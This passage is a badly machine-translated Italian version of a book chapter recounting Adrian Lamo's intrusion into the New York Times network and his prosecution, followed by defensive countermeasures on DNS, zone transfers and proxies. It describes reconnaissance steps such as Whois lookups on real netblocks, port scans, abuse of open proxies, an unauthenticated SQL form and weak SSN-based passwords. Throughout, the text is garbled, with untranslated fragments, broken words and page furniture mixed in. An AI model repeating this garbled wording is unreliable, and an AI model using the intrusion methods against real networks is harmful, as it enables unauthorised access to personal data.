Adrian leggeva il *New York Times* sito Web, un giorno, quando ha Suddenly avuto "un lampo di curiosità" sul fatto che potrebbe essere in grado di trovare un modo di fare irruzione in rete di computer del giornale. "Ho già avuto accesso al *Washington Post*, " ha detto, ma ha ammesso che lo sforzo era non fosse stato fruttuoso: Egli "non ha trovato nulla di molto interessante." La *tempi* sembrava come se volesse rappresentare una sfida intensa, dal momento che

era probabilmente diventato pungente in materia di sicurezza a seguito di una molto pubblic e mod imbarazzante qualche anno prima, quando un gruppo chiamato HFG ("Hacking per Girlies") deturpato il loro sito Web. I defacer criticato *Times* tecnologia scriba John Markoff per le storie che aveva scritto su di me, storie che hanno contribuito al mio duro trattamento da parte del Dipartimento di Giustizia.

Adrian è andato online e ha cominciato ad esplorare. In primo luogo ha visitato il sito Web e rapidamente scoperto che è stata esternalizzata, non ospitato dal *Tempi sé* ma da un ISP esterno. Questa è una buona pratica per qualsiasi azienda: Significa che un successo break-in al sito Web non dà accesso al corrispondente rete porate. Per Adrian, significava che avrebbe dovuto lavorare un po 'più difficile trovare un modo.

"Non c'è lista di controllo per me", dice Adrian del suo approccio al break-ins. Ma "quando sto facendo una ricognizione, sto attento a raccogliere informazioni da interrogazione altre fonti. "In altre parole, egli non inizia da immediatamente sondare il sito Web della società che sta attaccando, dal momento che questo potrebbe creare un itinerario di controllo che può portare di nuovo a lui. Invece, preziosi strumenti di ricerca sono disponibili, gratuitamente, presso la American Registry for Internet L'arte dell'intrusione

100

Numbers (ARIN), un'organizzazione no-profit responsabile della gestione del Risorse di numerazione Internet per il Nord America.

Inserimento "New York Times" nella finestra di dialogo Whois di arin.net porta un elenco di dati che cercano qualcosa di simile a questo:

New York Times (NYT-3)

NEW YORK TIMES COMPANY (NYT-4)

New York Times Digital (NYTD)

New York Times Digital (AS21568) NYTD 21568

NEW YORK TIMES COMPANY NEW-YORK84-79 (NET-12-160-79-0-1)

12.160.79.0 - 12.160.79.255

New York Times SBC068121080232040219 (NET-68-121-80-232-1)

68.121.80.232 - 68.121.80.239

New York Times Digital PNAP-NYM-NYT-RM-01 (NET-64-94-185-0-

1) 64.94.185.0 - 64.94.185.255

I gruppi di quattro numeri separati da punti sono gli indirizzi IP, che può essere pensato come l'equivalente Internet di un indirizzo postale di casa numero, via, città, e lo stato. Un profilo che mostra un intervallo di indirizzi (per esempio, 12.160.79.0 - 12.160.79.255) viene indicato come un *netblock* .

Ha poi fatto una ricerca porta su un intervallo di indirizzi appartenenti al *Nuovo York Times* e si sedette di nuovo, mentre il programma scansionato attraverso il indirizzi alla ricerca di porte aperte, sperando che identificare alcuni interessante sistemi che potesse attaccare ing. Lo ha fatto. Esaminando una serie di open porti, ha scoperto che anche qui, sono stati diversi i sistemi che eseguono missione configurato proxy aperti - che gli permette di connettersi al computer in rete interna aziendale.

Ha interrogato del giornale Domain Name Server (DNS), sperando di trovare un indirizzo IP che non è stata esternalizzata ma invece interno alla *Volte*, senza successo. Avanti ha cercato di estrarre tutti i record DNS per il dominio nytimes.com. Dopo aver colpito su questo tentativo, così, è andato

torna al sito Web e questa volta ha avuto più successo: ha trovato un posto su il sito che offriva ai visitatori pubblica un elenco degli indirizzi di posta elettronica per tutti i *tempi* staff che erano disposti a ricevere messaggi da parte del pubblico.

In pochi minuti aveva un messaggio di posta elettronica dal giornale. Non era l'elenco di e-mail del giornalista che aveva chiesto ma era prezioso in ogni caso. Il intestazione sulla posta elettronica ha rivelato che il messaggio proviene dalla società di rete interna e ha mostrato un indirizzo IP che era inedito. "La gente non si rendono conto che anche una e-mail può essere rivelatore," Adrian sottolinea. L'indirizzo IP interno gli ha dato una possibile apertura. Prossimo passo di Adrian è stato quello di iniziare a passare attraverso i proxy aperti che aveva già trovato, Man- dualmente la scansione degli indirizzi IP all'interno dello stesso segmento di rete. A rendere il processo chiaro, diciamo che l'indirizzo era 68.121.90.23. Mentre la maggior parte attaccanti che fanno questo sarebbe eseguire la scansione del netblock di questo indirizzo avviando

Capitolo 5 The Hacker Robin Hood

101

con 68.121.90.1 e continuando in modo incrementale a 68.121.90.254, Adrian ha cercato di mettersi nella posizione di una persona azienda IT setting della rete, immaginando che la tendenza naturale della persona sarebbe quella di scegliere i numeri tondi. Così la sua pratica abituale era di cominciare con la numeri più bassi -. .1 attraverso .10, e poi passano a decine - .20, .30, e ecc.

Non sembrava Lo sforzo a produrre molto. Ha trovato un paio di server Web interni, ma nessuno che erano ricchi di informazioni. Alla fine si imbattuto un server che ha tenuto un vecchio, usato non più *volte* sito intranet, forse dismesso quando il nuovo sito è stato messo in produzione e da allora dimenticato. Lo trovò interessante, leggere attraverso di essa, e scoprì un legame che avrebbe dovuto andare in un vecchio sito di produzione, ma si è rivelato invece di portarlo ad una macchina di produzione live.

Per Adrian, questo è stato il Santo Graal. La situazione ha cominciato a guardare anche luminoso quando ha scoperto che questa macchina memorizzato materiali per la formazione per insegnare ai dipendenti come utilizzare il sistema, qualcosa di simile a una student sfogliando un sottile CliffsNotes per di Dickens *Grandi speranze* invece di leggere tutto il romanzo e di lavoro i problemi da sola.

Adrian si era rotto in troppi siti per lui per sentire una particolare emozionale zione del suo successo in questa fase, ma stava facendo più progressi di quanto egli poteva aspettarsi. Ed era per cominciare meglio. Scoprì presto un motore di ricerca integrato per i dipendenti di utilizzare a trovare la loro strada in tutto il site. "Spesso," dice, "gli amministratori di sistema non configurano queste cor- rettamente, e permettono di fare ricerche che dovrebbero essere vietate. "

E questo è stato il caso qui, fornendo ciò che Adrian denominato "il colpo di grazia. "Alcuni *tempi* amministratore di sistema aveva posto un programma di utilità in una delle directory che permette di fare ciò che è chiamato un *free-form SQL interrogazione* . SQL, Structured Query Language, è un linguaggio di scripting per maggior parte dei database. In questo caso, una finestra di dialogo pop-up sembrava che ha permesso

Adrian comandi per entrare SQL senza autenticazione, il che significa che ha era in grado di ricercare virtualmente qualsiasi database sul sistema ed estratto o modificare le informazioni a piacimento.

Ha riconosciuto che il dispositivo in cui vivevano i server di posta era in esecuzione

su Lotus Notes. Gli hacker sanno che le versioni precedenti di Notes consentono a un utente passare in rassegna tutti gli altri database su quel sistema, e questa parte del *Volte* rete è stata eseguita una versione precedente. Il database Lotus Notes Adrian aveva inciampato su di lui ha dato "la più grande emozione, perché inclusi tutti fino ad ogni proprietario edicola, gli importi hanno fatto, e le loro socials ", slang per numeri di previdenza sociale. "Là era anche informazioni abbonati, così come chiunque che aveva mai scritto lamentarsi del servizio o fare indagini. "

L'arte dell'intrusione

102

Alla domanda su quale sistema operativo *tempi* correva, Adrian risponde che non sa. "Io non analizzo una rete in questo modo", ha spiegato.

Non si tratta di tecnologia, si tratta di persone e il modo in cui configurare le reti. La maggior parte delle persone sono molto prevedibili. Spesso trovo che le persone costruiscono reti stesso modo, più e più volte.

Molti siti di e-commerce fanno questo errore. Essi assumono persone farà voci nell'ordine corretto. Nessuno si assume la volontà dell'utente uscire di ordine.

A causa di questa prevedibilità, un attaccante esperto può effettuare un ordine in un sito Web on-line, passare attraverso il processo di acquisto al punto dove i suoi dati sono stati verificati, quindi eseguire il backup e modificare il Informazioni di fatturazione. L'attaccante riceve la merce; qualcun altro ottiene la carica di carta di credito. (Anche se Adrian ha spiegato la procedura in dettaglio, ha in particolare ci ha chiesto di non dare una descrizione abbastanza completa che consentirebbe ad altri di farlo.)

Il suo punto era che gli amministratori di sistema di routine non riescono a pensare con la mente di un attaccante, rendendo il lavoro di un attaccante molto più facile di quello che ha bisogno di

essere. Ed è quello che spiega il suo successo con il suo prossimo passo a penetrare il *Tempi* ' rete di computer. Il motore di ricerca interno non dovrebbe sono stati in grado di indicizzare l'intero sito, ma lo ha fatto. Ha trovato un programma che ha portato un modulo SQL che gli ha permesso il controllo delle banche dati, compresi digitando query per estrarre informazioni. Ha poi bisogno per scoprire i nomi dei database su quel sistema, alla ricerca di quelle che sembrava interessante. In questo modo trovò un database di grandissima interesse: Conteneva una tabella dell'intero username e password lista quello che sembrava essere ogni dipendente del *New York Times* .

La maggior parte delle password, si è scoperto, erano semplicemente le ultime quattro cifre della numero di previdenza sociale della persona. E la società non si è preoccupato utilizzando password diverse per l'accesso ad aree contenenti particolarmente sensibili Informazioni tiva - la stessa password dipendente ha lavorato in tutto il mondo su il sistema. E per tutto quello che sa, Adrian ha detto, le password al *Volte* sono oggi non più sicuro di quanto non fossero al momento del suo attacco.

Da lì, sono stato in grado di accedere di nuovo nella Intranet e il guadagno l'accesso alle informazioni aggiuntive. Sono stato in grado di ottenere le notizie scrivania e login come manager notizia, usando la sua password.

Trovò un database elenca ogni persona che si terrà da Stati

Uniti con l'accusa di terrorismo, comprese le persone i cui nomi non erano stati reso pubblico. Continuando ad esplorare, si trova un database di tutti

che avesse mai scritto un pezzo editoriale per il *tempi* . Ammontano a migliaia

Capitolo 5 The Hacker Robin Hood

103

Pagina 125

di collaboratori e divulgati gli indirizzi, numeri di telefono e rezza sociale numeri rezza. Ha fatto una ricerca per "Kennedy" e ha trovato diverse pagine di informazioni. La banca dati di cui informazioni di contatto sulle celebrità e personaggi pubblici che vanno dai professori di Harvard a Robert Redford e Rush Limbaugh.

Adrian ha aggiunto il proprio nome e numero di cellulare (con sede in un nord-ERN California prefisso, il numero è "505-HACK"). Ovviamente conteggio zione sulla carta non capire che l'elenco era stato piantato lì e apparentemente sperando che qualche giornalista o op-ed editor di pagine potrebbe essere preso in, ha elencato i suoi settori di competenza come "pirateria informatica / sicurezza e intelligence delle comunicazioni. "

Okay, inadeguato, forse imperdonabile. Ma anche così, per me l'azione non era solo innocuo, ma divertente. Ho ancora ridacchiare all'idea di Adrian getting una telefonata: "Ciao, signor Lamo? Questo è così e così dal *New York Volte* ". E allora è citato in un pezzo, o forse anche chiesto di scrivere 600 parole sullo stato di sicurezza del computer o qualche argomento che corre il giorno successivo nella pagina op-ed di carta più influente del paese. C'è di più per la saga di Adriano e il *New York Times* ; il resto non è divertente. Non era necessario, non era caratteristica di Adrian, e lo ha portato in guai seri. Dopo manomissione pagina op-ed data-elencchi di base, ha scoperto che aveva accesso al *Tempi* ' abbonamento a LexisNexis, un servizio online che fa pagare agli utenti per l'accesso al diritto e informazioni di notizie.

Egli avrebbe istituito cinque conti separati e ha condotto una grande numero di ricerche - oltre 3.000, secondo il governo.

Dopo tre mesi di navigazione attraverso LexisNexis con il *New York Tempi* del tutto ignari che i suoi conti sono stati dirottati, Adrian finalmente ritornato al comportamento di Robin Hood che aveva caratterizzato la sua precedente attacchi contro altre aziende. Lui si mise in contatto con un Internet noto giornalista (come me un ex pirata) e ha spiegato la vulnerabilità che aveva sfruttato che gli ha dato l'accesso al *New York Times* sistema informatico - ma solo dopo l'estrazione di un accordo che il giornalista non avrebbe pubblicato alcuna informazione circa la break-in prima di aver prima informato la *Tempi* e attese che avevano risolto il problema.

Il giornalista mi ha detto che quando ha contattato il *Times*, la conversazione zione non è andato del tutto il modo in cui sia lui o Adrian era aspettato. The *Times*, egli disse, non era interessato a quello che aveva da dire loro, non voleva nessuna delle l'informazione ha offerto, non aveva alcun interesse a parlare direttamente a Adrian per scoprire i dettagli, e si sarebbe preso cura di esso da solo. La *tempi* persona non voleva nemmeno sapere che cosa era stato il metodo di accesso, infine accettando di scrivere i dati solo dopo che il reporter ha insistito.

L'arte dell'intrusione

104

Pagina 126

Il giornale verificato la vulnerabilità e entro 48 ore ha avuto la

gap ricucita, dice Adrian. Ma *Tempi* ' i dirigenti non erano esattamente prezzamento ciative di avere il problema di sicurezza chiamato alla loro attenzione. Il precedente Hacking per l'attacco Girlies aveva ricevuto un sacco di stampa, e la loro imbarassment stato senza dubbio reso ancora peggio perché i responsabili non sono mai stati catturati. (E non pensare che ho avuto alcuna relazione con lo attacco; al momento, sono stato in carcere in attesa di processo.) E 'una congettura sicuro che loro popolo era stato messo sotto un sacco di pressione per assicurarsi che sarebbe mai più essere vittima di un hacker break-in. Così esplosione di Adrian razione intorno alla loro rete di computer potrebbe aver ferito alcuni ego e danneggiato alcuni reputazione, il che spiegherebbe il giornale del atteggiamento intransigente quando si seppe che era stato approfittando della loro generosità non intenzionale per mesi.

Forse il *tempi* sarebbe stato disposto a mostrare apprezzamento per essendo il tempo consentito per collegare il buco nel suo sistema informatico prima la storia della sua rete spalancata apparso in stampa. Forse era solo quando hanno scoperto l'uso LexisNexis che hanno deciso di ottenere hard-naso. Qualunque sia la ragione, i *Tempi* autorità hanno preso il passo che nessuno delle vittime precedenti di Adrian avessero mai preso: Hanno chiamato l'FBI. Diversi mesi dopo, Adrian udì l'FBI stava cercando per lui e scomparso. I federali iniziato visitare la famiglia, amici e colleghi - stringere le viti e cercando di scoprire se avesse lasciato alcuna della sua contatti giornalista sanno dove è stato appeso fuori. Il mal concepito Piano ha portato nel tentativo di citazione note da diversi giornalisti Adrian aveva condiviso le informazioni con. "Il gioco", un giornalista ha scritto, "ha avuto improvvisamente trasformato serio. "

Adrian si è dato dopo soli cinque giorni. Per la resa, ha scelto uno dei suoi posti preferiti per esplorare da: a Starbucks.

Quando la polvere si era stabilita, un comunicato stampa messo fuori dall'ufficio del Stati Uniti procuratore per il Distretto Meridionale di New York ha dichiarato che il "gli oneri sostenuti" di Adrian *New York Times* hack "è stato [sic] circa \$ 300.000. "La sua freeloading, secondo il governo mento, pari al 18 per cento di tutte le ricerche effettuate da LexisNexis *New York Times* spiega durante il suo romp sul loro sito.

2

Il governo aveva evidentemente basato questo calcolo su ciò che il carica sarebbe per voi o me - o chiunque altro che non sia un LexisNexis abbonati - fare individuale, pay-as-you-go ricerche, una tassa che viene scalato fino a fino a \$ 12 per una singola query. Anche calcolato che altamente unrea-modo ragione-, Adrian avrebbe dovuto fare qualcosa di simile 270 ricerche *ogni giorno* per tre mesi per raggiungere una cifra complessiva che alta. E poiché grande organizzazioni come le *volte* pagano un canone mensile per *illimitato* LexisNexis accesso, è probabile che non hanno mai pagato un centesimo supplementare per le ricerche di Adrian.

Capitolo 5 The Hacker Robin Hood

105

Secondo Adrian, il *New York Times* episodio era un'eccezione in la sua carriera di hacker. Dice di aver ricevuto grazie sia Excite @ Home e MCI WorldCom (che era ancora più grato dopo hanno confermato che avrebbe potuto effettivamente avere centinaia di dipendenti

trasferimenti-deposito diretto versati a qualche considerazione sotto il suo controllo). Adrian suoni non amaro, ma semplicemente un dato di fatto quando dice che "The New York Times è stato l'unico che voleva vedermi perseguiti".

A peggiorare le cose per lui, il governo aveva apparentemente qualcuno come indotto molti dei precedenti vittime di Adrian di presentare dichiarazioni di danni et sofferto - tra cui anche alcune aziende che lo aveva ringraziato per le informazioni fornite. Ma forse questo non sorprendente: A richiesta di collaborazione da parte dell'FBI o di un procuratore federale non qualcosa maggior parte delle aziende scelgono di ignorare, anche se avevano pensato diversamente sulla questione fino a quel momento.

La natura unica di competenze di Adrian

Altamente atipico di un hacker, Adrian non fluente in qualsiasi programmazione lingua. Il suo successo si basa invece su analisi come la gente pensa, come hanno istituito sistemi, i processi che vengono utilizzati dal sistema e di rete amministratori di fare architettura di rete. Anche se lui stesso si definisce come avere scarsa memoria a breve termine, scopre vulnerabilit di probabilit ing applicazioni Web di una societ per trovare l'accesso alla sua rete, quindi traina la rete, pazientemente costruire un diagramma di come il mentale pezzi riguardano fino a quando riesce a "materializzare" in qualche angolo della rete lavoro che la societ ha pensato era nascosta nei recessi oscuri della dell'inattivit accessi- e quindi al sicuro dagli attacchi.

La sua descrizione attraversa il confine con l'inaspettato:

Credo che ci sono punti in comune a qualsiasi sistema complesso, sia esso un computer o l'universo. Noi stessi racchiudere queste commonalit come singoli aspetti del sistema. Se possibile ottenere un subappaltato cosciente di quei modelli, a volte funzionano a tuo favore, si mettono in posti strani.

[Hacking] sempre stato per me meno sulla tecnologia e pi di religione.

Adrian sa che se si mette deliberatamente di danneggiare un tere specifico stica di un sistema, lo sforzo molto probabilmente non. Con lasciandosi vagare, guidati principalmente da intuizione, finisce dove vuole essere.

Adrian non crede il suo approccio particolarmente unico, ma lui riconosce di non aver mai incontrato un altro hacker che ha avuto successo in Da questa parte.

L'arte dell'intrusione

106

Uno dei motivi per nessuna di queste aziende, migliaia di spesa e migliaia di dollari per la rilevazione, ha mai rilevato me che Non faccio quello che un intruso normale fa. Quando ho posto una rete sistema aperto al compromesso, osservo che il modo in cui dovrebbe essere fatto. Penso, "Okay, dipendenti accedere alle informazioni dei clienti. Se io era un dipendente, che cosa dovrei chiedere [il sistema] di fare? "E 'difficile [Per il sistema] di distinguere legittimo da atti- illegittimit perch si sta andando attraverso la stessa interfaccia un dipendente sarebbe. E 'essenzialmente lo stesso traffico.

Una volta che Adrian ha il layout della rete nella sua testa, "E 'meno di guardare in numeri su uno schermo e pi senso di essere veramente in l, spotting modelli. E 'un modo di vedere, una vista sulla realt. Non posso definirlo, ma lo vedo

nella mia testa. Ho notato che cosa vive dove, come si correla e collega. E molte volte questo mi porta a quello che alcuni considerano incredibile. " Durante un'intervista con NBC Nightly News a in un Kinko Washington, DC, l'equipaggio scherzosamente sfidato Adrian provare rottura nel sistema di NBC. Dice che con le telecamere di rotolamento, che aveva riservati ziale dati sullo schermo in meno di cinque minuti.

3

Adrian tenta di avvicinarsi di un sistema sia come un dipendente e un outsider sarebbe. Egli ritiene che la dicotomia racconta la sua intuizione dove andare prossimo. Farà anche giochi di ruolo, fingendo di se stesso che è un dipendente fuori completare un incarico specifico, di pensare e di andare avanti in modo appropriato. Funziona così bene per lui che la gente molto tempo fa fermato respinge il suo successo inquietante come annaspate intorno casuali nel buio.

Informazione Facile

Una notte alla stessa Starbucks dove un tempo avevo preso il caffè con lui, Adrian ha ottenuto un earful. Era seduto lì con una tazza di caffè quando una macchina tirato su e cinque uomini accatastati fuori. Si sedettero a un tavolo vicino, e ha ascoltato la loro conversazione; diventa subito evidente che erano forze dell'ordine ed era abbastanza sicuro che fossero FBI.

Parlarono negozio per circa un'ora, completamente ignaro del fatto che sto seduto lì non toccare il mio caffè. Stanno parlando negozio parlare - che era piaciuto, che è stato antipatico.

Hanno fatto agente barzellette su come si potrebbe dire la potenza di un agenzia dalle dimensioni del badge esso emesso. Agenti dell'FBI usura molto piccoli distintivi, mentre come le questioni Pesce & Game Department enormi distintivi. Quindi la potenza è in proporzione inversa. Pensavano che è stato divertente.

Capitolo 5 The Hacker Robin Hood

107

Sulla loro via d'uscita, gli agenti hanno dato Adrian uno sguardo superficiale, come se solo reale izing il giovane uomo staring in una tazza di caffè freddo potrebbe essere sentito cose che non dovrebbe avere.

Un'altra volta Adrian è stato in grado, con una sola telefonata per scoprire cri-informazioni iCal su AOL. Mentre i loro sistemi IT sono ben protetti, lui dice che ha esposto una grave vulnerabilità, quando ha chiamato l'azienda che produce e prevede il loro cavo in fibra ottica. Adrian sostiene che era date tutte le mappe che mostrano dove i cyber principali e di backup cavi di AOL sono stati sepolti. "Hanno appena assunto che se si sapeva chiamarli, è necessario essere giusto per parlare. "Un hacker fuori a causare problemi avrebbe potuto costare AOL milioni di dollari in tempi di inattività e riparazioni.

Questo è abbastanza spaventoso. Adrian e io siamo d'accordo; è la mente-blowing modo per-ple sono così sciolto con le informazioni.

In questi giorni

Nell'estate del 2004, Adrian Lamo è stato condannato a sei mesi di casa parto e due anni di libertà vigilata. La Corte ha ordinato anche lui a pagare 65 mila dollari in restituzione alle sue vittime.

4

Sulla base di earn di Adrian potenziale e la sua mancanza di fondi ing (era senza casa, al momento, per Dio

sake), questa quantità di restituzione è chiaramente punitiva. Nello stabilire una cifra per restituzione, il giudice deve prendere in considerazione una serie di fattori, tra cui il del convenuto presente e futura capacità di pagare, e le perdite effettive sofferta dal sue vittime. Un ordine di restituzione non dovrebbe essere punitiva. A mio parere, il giudice non ha ritenuto realmente la capacità di Adrian di pagare una grande quantità tale ma probabilmente invece impostare la quantità come un modo di l'invio di un messaggio, in quanto il caso di Adrian è stato così tanto nelle notizie. Nel frattempo si sta riabilitando e girando la sua vita intorno alla sua proprio. Sta prendendo lezioni di giornalismo in un college in Sacramento; sta anche scrivendo articoli per un giornale locale e inizio per fare un po 'di freelance.

Per me, il giornalismo è la migliore carriera ho potuto scegliere, mentre rimanenti ing fedele a quello che mi fa spuntare - curiosità, voglia di vedere le cose diversamente, vogliono saperne di più sul mondo intorno a me.

Gli stessi motivi, come l'hacking.

Adrian è, spero, di essere onesto con se stesso e con me quando parla sulla sua consapevolezza di un nuovo corso nella vita.

Mentirei se dicessi che ho pensato che le persone potessero cambiare dall'oggi al domani. Io non si può smettere di essere curiosi durante la notte, ma posso prendere la mia curiosità ed applicare in un modo che non fa male persone. Perché se c'è

L'arte dell'intrusione

108

una cosa che ho preso da questo processo, è una consapevolezza che ci sono persone reali che stanno dietro le reti. Non posso davvero guardare un computer intrusione e non pensare alle persone che devono rimanere notti preoccuparsi più.

Penso che il giornalismo e la fotografia per me sono superficie intellettuale rogates per la criminalità. Mi hanno fatto esercitare la mia curiosità, mi hanno lasciato vedere cose in modo diverso, mi hanno lasciato perseguire tangenti in un modo che è rispettosi della legge.

Ha anche parlato la sua strada in un incarico freelance per *Network Mondiale*. Lo avevano contattato, volendo usarlo come fonte per un storia; ha lanciato loro l'idea che invece di fare una intervista sidebar con lui, avrebbero lasciato lo scrivere nella barra laterale. L'editore di una rivista d'accordo. Così accompagna un pezzo profiling hacker era un pezzo da lui su profiling amministratori di rete.

Il giornalismo è quello che voglio fare. Mi sento come posso fare una differenza za, e questo non è qualcosa che si ottiene un sacco di di lavorare in sicurezza. La sicurezza è un settore che si basa molto prevalentemente su le paure della gente e le incertezze sui computer e la tecnologia.

Il giornalismo è molto di più della verità.

Hacking è una questione unica ego. Esso comporta il potenziale per una grande quantità di potere nelle mani di un singolo individuo, potere riservato per il governo o le grandi imprese. L'idea di qualche adolescente essere in grado di spegnere la rete elettrica spaventa l'inferno fuori del governo.

Dovrebbe.

Lui non si considera un hacker, cracker, o intruso di rete. "Se Posso citare Bob Dylan, 'Non sono un predicatore o commesso viaggiatore. Faccio solo quello che faccio '. Mi rende felice quando la gente capisce o vuole

capire che. "

Adrian dice che è stato offerto lavori lucrativi con i militari e un'agenzia del governo federale. Li rifiutò. "Un sacco di gente godere del sesso, ma non tutti vogliono fare per vivere. "

Questo è Adrian il purista ... dell'hacker dell'uomo pensante.

Io

Nsight

Qualunque cosa si pensi circa l'atteggiamento e le azioni di Adrian Lamo, mi piacerebbe che sarete d'accordo con me sul modo in cui i procuratori federali CAL-colato il costo del "danno", ha causato.

Capitolo 5 The Hacker Robin Hood

109

So per esperienza personale quanto i pubblici ministeri costruire il sostegno prezzo posto in casi di hacker. Una strategia è quello di ottenere dichiarazioni aziende che sovrastimano le loro perdite nella speranza di costringere l'hacker a perorare fuori piuttosto che andare a processo. L'avvocato della difesa e la prosecutor poi contrattare un accordo su qualche figura minore, come la perdita che verrà essere presentata al giudice; secondo le linee guida federali, maggiore è la perdita, più lungo è il periodo.

In caso di Adrian, il procuratore ha scelto di ignorare il fatto che il aziende hanno imparato che erano vulnerabili agli attacchi, perché Adrian stesso detto loro così. Ogni volta, ha protetto le aziende, consigliandoli di la buchi nei loro sistemi spalancata e in attesa fino a quando non avevano fissato il i problemi prima che consentito notizia della sua rottura-in da pubblicare. Sicuro aveva violato la legge, ma aveva (almeno nel mio libro) agito eticamente.

C

OUNTERMEASURES

L'approccio utilizzato dagli aggressori, e favorita da Adrian, di esecuzione di un Whois query può rivelare un numero di pezzi di informazioni preziose, disponibile da le informazioni di rete quattro centri (NIC) che coprono differenti geografica regioni del mondo. La maggior parte delle informazioni contenute in queste banche dati sono pubblici,

a disposizione di chiunque usi un programma di utilità Whois o va a un sito Web che offre il servizio, ed entra un nome di dominio come nytimes.com.

Le informazioni fornite possono includere il nome, l'indirizzo e-mail, fisicamente indirizzo cal, e numero di telefono dei contatti amministrativi e tecnici per il dominio. Queste informazioni potrebbero essere utilizzate per l'ingegneria sociale attacchi (vedi capitolo 10, "ingegneri sociali - come funzionano e come per fermarli "). Inoltre, si può dare un indizio circa il modello per l'e-mail indirizzi e nomi di login utilizzati dalla società. Ad esempio, se un indirizzo di posta elettronica mostrato come, ad esempio, hilda@nytimes.com, questo potrebbe suggerire la

possibilità che non solo questo dipendente, ma forse un certo numero di *Tempi* membri del personale potrebbero utilizzare solo il loro nome per l'indirizzo e-mail, e forse anche per il sign-on.

Come spiegato nella storia di Adrian *New York Times* attacco, anche ricevuto informazioni preziose sulle indirizzi IP e netblocks assegnato alla società di giornale, che erano uno dei pilastri della sua aspirazione attacco moni.

Per limitare la perdita di informazioni, un passo importante per qualsiasi azienda sarebbe essere elencare i numeri di telefono soltanto per il centralino aziendale, piuttosto che per gli individui specifici. Receptionist telefonici dovrebbero essere sottoposti ad alta intensità formazione in modo da poter riconoscere rapidamente quando qualcuno sta cercando di fare leva informazioni su di essi. Inoltre, l'indirizzo postale indicato dovrebbe essere il Indirizzo pubblicata della sede aziendale, non l'indirizzo di par- strutture parti-.

L'arte dell'intrusione

110

Ancora meglio: Le aziende sono ora autorizzati a mantenere privato il dominio Informazioni di contatto Nome - esso non deve più essere elencati come informazioni a disposizione di chiunque chiede. Su richiesta, quotazione della vostra azienda sarà essere oscurato, rendendo questo approccio più difficile per gli attaccanti.

Un altro suggerimento prezioso è stato menzionato nella storia: la creazione di un split orizzonte DNS. Si tratta di stabilire un server DNS interno per risolvere gli hostname sulla rete interna, mentre la creazione di un altro Server DNS esterno che contiene i record per gli host che vengono utilizzati da pubblico.

In un altro metodo di ricognizione, un hacker interrogherà autorevole I server dei nomi di dominio per imparare la piattaforma tipo e il sistema operativo dei computer aziendali e le informazioni per tracciare l'obiettivo del intero dominio. Questa informazione è molto utile nel coordinamento un'ulteriore attacco. Il database DNS può includere informazioni Host (HINFO) record, perde tale informazioni. Gli amministratori di rete devono evitare record HINFO pubblicazione in qualsiasi server DNS accessibile al pubblico.

Un altro trucco degli hacker si avvale di una operazione chiamata *trasferimento di zona* . (Anche se senza successo, Adrian dice che ha tentato questo metodo nel suo attacchi sia sul *New York Times* e Excite @ Home.) per la protezione di dati, un server DNS primario è di solito configurato per consentire altri server autorevoli permesso di copiare i record DNS per un particolare dominio. Se il server primario non è stato configurato correttamente, un attacker può avviare un trasferimento di zona a qualsiasi computer che lui o lei designa, e in questo modo ottenere prontamente informazioni dettagliate su tutti gli host denominati e la loro associati indirizzi IP del dominio.

La procedura per la protezione contro questo tipo di attacco coinvolge solo consentendo i trasferimenti di zona tra i sistemi di fiducia necessario per il business operazioni. Per essere più precisi, il server DNS primario deve essere con- pensato per permettere trasferimenti solo per il server DNS secondario di fiducia. Inoltre, una regola firewall di default dovrebbe essere utilizzato per bloccare l'accesso a Porta TCP 53 su tutti i name server aziendali. E un'altra regola firewall può essere definito per consentire name server secondario di fiducia per la connessione a La porta TCP 53 e avviare trasferimenti di zona.

Le aziende dovrebbero rendere difficile per un utente malintenzionato di utilizzare il retro DNS tecnica di ricerca. Mentre è comodo da usare nomi di host che chiarire ciò che l'ospite viene utilizzato per - nomi come database.

CompanyX.com - è ovvio che questo rende anche più facile per un intruso individuare sistemi di valore di targeting.

Altri DNS raccolta di informazioni tecniche di ricerca inversa sono attacchi del dizionario e forza bruta. Ad esempio, se il dominio di destinazione è kev-

inmitnick.com, un attacco dizionario sarà prefisso ogni parola nel dizionario al nome di dominio in forma di *dictionaryword.kevinmitnick.com*, a

Capitolo 5 The Hacker Robin Hood

111

individuare altri host all'interno del dominio. A forza bruta inversa DNS attacco è molto più complessa, dove il prefisso è una serie di caratteri alfanumerici caratteri che vengono incrementati un carattere per volta per scorrere ogni possibilità. Per bloccare questo metodo, il server DNS aziendale può essere configurato per eliminare i record DNS pubblicazione di qualsiasi host- interna nomi. E un server DNS esterno può essere utilizzato in aggiunta al inter una finale, in modo che i nomi degli host interni non sono trapelate a qualsiasi non attendibile rete. Inoltre, l'uso del nome interno ed esterno separato i server aiuta anche con il problema menzionato in precedenza relativa host-nomi: Un server DNS interno e protetto visibilità dall'esterno firewall, in grado di usare gli hostname con l'identificazione nomi di host, come *base di dati, la ricerca, e il backup* con poco rischio.

Adrian è stato in grado di ottenere informazioni preziose sul *New York Times* rete esaminando l'intestazione di una e-mail ricevute dalla stampa di giornali per, che ha rivelato un indirizzo IP interno. Gli hacker volutamente rimbalzano messaggi e-mail per ottenere questo tipo di informazioni, o setacciare da giornale pubblica gruppi alla ricerca di messaggi di posta elettronica che sono allo stesso modo rivelatrice.

L'intestazione

informazioni in grado di fornire una serie di informazioni, tra cui la nomina convenzioni utilizzate internamente, indirizzi IP interni, e il percorso di una e-mail messaggio è preso. Per proteggersi da questo, le aziende dovrebbero configurare il loro server SMTP (Simple Mail Transfer Protocol) per filtrare qualsiasi inter- Gli indirizzi IP nali o le informazioni ospitare da messaggi di posta in uscita, prefisso identificatori interni di essere esposti al pubblico.

Arma principale di Adrian era il suo dono intellettuale di trovare misconfig-server proxy rato. Ricordiamo che un utilizzo di un server proxy è quello di consentire agli utenti sul lato di fiducia della rete di computer di accedere alle risorse di Internet sul lato non attendibile. L'utente all'interno effettua una richiesta di pagina Web colare; la richiesta viene inviata al server proxy, che inoltra la richiesta da parte dell'utente e passa la risposta indietro all'utente.

Per impedire agli hacker di ottenere informazioni nel modo Adrian fa, proxy server devono essere configurati per ascoltare solo sul inter- interna faccia. Oppure, invece, possono essere configurati per ascoltare solo un autorizzato elenco degli indirizzi IP esterni attendibili. In questo modo, non autorizzato al di fuori l'utente può anche collegare. Un errore comune è la creazione di server proxy che ascolto su tutte le interfacce di rete, compresa la con- interfaccia esterna collegato a Internet. Invece, il server proxy dovrebbe essere configurato per consentire solo uno speciale set di indirizzi IP che sono stati accantonati dal Internet Assigned Numbers Authority (IANA) per reti private.

Ci sono tre blocchi di indirizzi IP privati:

10.0.0.0 attraverso 10.255.255.255

